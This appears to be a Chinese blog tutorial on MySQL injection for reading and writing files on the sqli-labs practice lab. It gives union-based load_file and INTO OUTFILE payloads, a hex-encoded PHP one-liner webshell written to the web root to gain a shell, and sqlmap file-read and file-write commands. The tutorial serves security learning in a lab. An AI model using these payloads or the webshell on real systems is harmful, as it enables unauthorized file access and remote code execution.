Mysql注入读写文件

本文详细介绍了如何通过MySQL注入来读取和写入文件,包括设置环境、执行SQL命令以及利用sqlmap工具。在读文件示例中,展示了如何读取E盘的flag.txt,而在写文件部分,不仅演示了写入PHP代码到指定文件,还解决了编码问题以成功获取Webshell。最后,提到了使用sqlmap进行文件操作的安全测试方法。
摘要由CSDN通过智能技术生成

Mysql注入读写文件

1.Mysql注入读文件

MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。
读取前提:
1.用户权限足够高,尽量具有root权限。
2.secure_file_priv不为NULL
(1)配置环境
修改mysql.ini的配置

在这里插入图片描述
可以看到里面secure_file_priv =的配置语句,如果没有的看到配置文件的话,需要添加上等号
在这里插入图片描述
当我们执行命令:

show global variables like "secure_file_priv";

返回值为空
在这里插入图片描述
接下来就可以读取本地文件了,我们可以在E盘下新建一个flag.txt的文件,内容任写,记得保存哦,否则你读本地文件的会为空
在这里插入图片描述
执行命令

select load_file("E:\\flag.txt");

在这里插入图片描述
(2)接下来漏洞利用,读取文件sql-labs1

http://172.16.14.190:84/sqli-labs-master/Less-1/?id=-1' union select 1,load_file("E:\\flag.txt"),3 --+

在这里插入图片描述

2.Mysql注入写文件

MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。

1.配置环境

set global general_log = on;

在这里插入图片描述
2.实战应用

http://172.16.14.190:84/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php phpinfo();?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php' --+

在这里插入图片描述
写入成功

http://172.16.14.190:84/sqli-labs-master/Less-7/123.php

在这里插入图片描述

3.写入Webshell

我们写入一句话木马<?php eval($_REQUEST[1]);?>,一句话建议进行十六进制转码()
转码链接:https://www.sojson.com/hexadecimal.html

在这里插入图片描述
编码后,要在最前面加上0x.payload如下所示

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'0x3c3f706870206576616c28245f524551554553545b315d293b3f3e' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\shell.php' --+

成功写入
在这里插入图片描述
连接webshell
在这里插入图片描述
写入进去到成功了,但是没有解析成功,难过。

在这里插入图片描述
后面询问了大佬一波,问题出在我的编码上,还有就是编码的位置

在这里插入图片描述

http://192.168.31.43/sqli-labs-master/Less-7/?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e,3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\shell.php'--+

成功getshell
在这里插入图片描述

4.Sqlmap安全测试

sqlmap安全测试 利用sqlmap进行读写文件
利用sqlmap -hh查看详细的帮助信息

python2 sqlmap.py -hh

在这里插入图片描述

1.sql-map读文件

 python2 sqlmap.py -u "http://192.168.31.43/sqli-labs-master/Less-1/?id=1" --file-read "E:\\flag.txt"

在这里插入图片描述
读取成功之后,找到读取文件的存放路径

在这里插入图片描述
读取文件
在这里插入图片描述
2.sql-map写文件
将E盘中的flag.txt写入到D盘中

python2 sqlmap.py -u "http://192.168.31.43/sqli-labs-master/Less-1/?id=1" --file-write "E:\\flag.txt" --file-dest "D:\\flag.txt"

在这里插入图片描述
ps
1.读写文件的过程中,一定要注意权限和绝对路径;
2.环境配置的问题,会影响我们在渗透测试的过程中,有些时候通,有些时候不通;
3.编码的问题,我就出现此问题,总是getshell失败,避免踩雷

参考链接:https://blog.csdn.net/qq_44159028/article/details/116274542

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值